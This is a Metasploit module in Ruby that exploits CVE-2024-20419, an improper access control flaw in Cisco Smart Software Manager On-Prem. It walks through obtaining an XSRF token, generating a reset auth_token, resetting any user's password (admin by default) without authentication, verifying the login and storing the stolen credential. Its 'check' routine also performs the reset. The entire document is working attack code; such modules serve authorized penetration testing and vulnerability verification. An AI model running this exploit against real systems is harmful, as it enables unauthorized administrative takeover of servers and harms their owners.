class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck class AuthTokenError < StandardError; end class XsrfTokenError < StandardError; end class ResetPasswordError < StandardError; end def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)', 'Description' => %q{ This module exploits an improper access control vulnerability in Cisco Smart Software Manager (SSM) On-Prem <= 8-202206. An unauthenticated remote attacker can change the password of any existing user, including administrative users. }, 'Author' => [ 'Michael Heinzl', # MSF Module 'Mohammed Adel' # Discovery and PoC ], 'References' => [ ['CVE', '2024-20419'], ['EDB', '52155'], ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cssm-auth-sLw3uhUy#vp'], ['URL', 'https://www.0xpolar.com/blog/CVE-2024-20419'] ], 'DisclosureDate' => '2024-07-20', 'DefaultOptions' => { 'RPORT' => 8443, 'SSL' => true }, 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options([ OptString.new('NEW_PASSWORD', [true, 'New password for the specified user', Rex::Text.rand_text_alphanumeric(16) + '!']), OptString.new('USER', [true, 'The user of which to change the password of (default: admin)', 'admin']) ]) end # 1) Request oauth_adfs to obtain XSRF-TOKEN and _lic_engine_session def xsrf_token_value res = send_request_cgi( 'method' => 'GET', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'backend/settings/oauth_adfs'), 'vars_get' => { 'hostname' => Rex::Text.rand_text_alpha(6..10) } ) raise XsrfTokenError, 'Failed to get a 200 response from the server.' unless res&.code == 200 print_good('Server reachable.') xsrf_token_value = res.get_cookies.scan(/XSRF-TOKEN=([^;]*)/).flatten[0] raise XsrfTokenError, 'XSRF Token not found' unless xsrf_token_value decoded_xsrf_token = decode_url(xsrf_token_value) print_good("Retrieved XSRF Token: #{decoded_xsrf_token}") decoded_xsrf_token end # 2) Request generate_code to retrieve auth_token def auth_token(decoded_xsrf_token) payload = { uid: datastore['USER'] }.to_json res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'headers' => { 'X-Xsrf-Token' => decoded_xsrf_token }, 'uri' => normalize_uri(target_uri.path, 'backend/reset_password/generate_code'), 'data' => payload }) raise AuthTokenError, 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response' unless res&.code == 200 json = res.get_json_document if json.key?('error_message') raise AuthTokenError, json['error_message'] elsif json.key?('auth_token') print_good('Retrieved auth_token: ' + json['auth_token']) end auth_token = json['auth_token'] auth_token end # 3) Request reset_password to change the password of the specified user def reset_password(decoded_xsrf_token, auth_token) payload = { uid: datastore['USER'], auth_token: auth_token, password: datastore['NEW_PASSWORD'], password_confirmation: datastore['NEW_PASSWORD'], common_name: '' }.to_json res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'headers' => { 'X-Xsrf-Token' => decoded_xsrf_token }, 'uri' => normalize_uri(target_uri.path, 'backend/reset_password'), 'data' => payload }) raise ResetPasswordError, 'Did not receive a 200 responce from backend/reset_password' unless res&.code == 200 json = res.get_json_document raise ResetPasswordError, "There was an error resetting the password: #{json['error_message']}" if json['error_message'] json end def check begin @xsrf_token_value = xsrf_token_value @auth_token = auth_token(@xsrf_token_value) @reset_password = reset_password(@xsrf_token_value, @auth_token) rescue AuthTokenError, XsrfTokenError, ResetPasswordError => e return Exploit::CheckCode::Unknown("Check method failed: #{e.class}, #{e}") end return Exploit::CheckCode::Unknown('Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value return Exploit::CheckCode::Unknown('Unable to determine the version (auth_token missing).') unless @auth_token return Exploit::CheckCode::Unknown('Unable to determine the version (reset_password failed).') unless @reset_password if @reset_password.key?('status') return Exploit::CheckCode::Appears('Password reset was successful, target is vulnerable') end Exploit::CheckCode::Unknown('Password reset status could not be determined') end def decode_url(encoded_string) encoded_string.gsub(/%([0-9A-Fa-f]{2})/) do [::Regexp.last_match(1).to_i(16)].pack('C') end end def run begin @xsrf_token_value ||= xsrf_token_value @auth_token ||= auth_token(@xsrf_token_value) @reset_password ||= reset_password(@xsrf_token_value, @auth_token) rescue AuthTokenError, XsrfTokenError, ResetPasswordError => e fail_with(Failure::UnexpectedReply, "Exploit pre-conditions were not met #{e.class}, #{e}") end fail_with(Failure::UnexpectedReply, 'Unable to determine the version (xsrf_token_value missing).') unless @xsrf_token_value fail_with(Failure::UnexpectedReply, 'Unable to determine the version (auth_token missing).') unless @auth_token fail_with(Failure::UnexpectedReply, 'Unable to determine the version (reset_password failed).') unless @reset_password # 4) Confirm that we can authenticate with the new password payload = { username: datastore['USER'], password: datastore['NEW_PASSWORD'] }.to_json res = send_request_cgi({ 'method' => 'POST', 'ctype' => 'application/json', 'keep_cookies' => true, 'headers' => { 'X-Xsrf-Token' => @xsrf_token_value, 'Accept' => 'application/json' }, 'uri' => normalize_uri(target_uri.path, 'backend/auth/identity/callback'), 'data' => payload }) fail_with(Failure::UnexpectedReply, 'Failed to verify authentication with the new password was successful.') unless res&.code == 200 json = res.get_json_document unless json.key?('uid') && json['uid'] == datastore['USER'] fail_with(Failure::UnexpectedReply, json['error_message']) end store_valid_credential(user: datastore['USER'], private: datastore['NEW_PASSWORD'], proof: json) print_good("Password for the #{datastore['USER']} user was successfully updated: #{datastore['NEW_PASSWORD']}") print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/logIn?redirectURL=%2F'))}") end end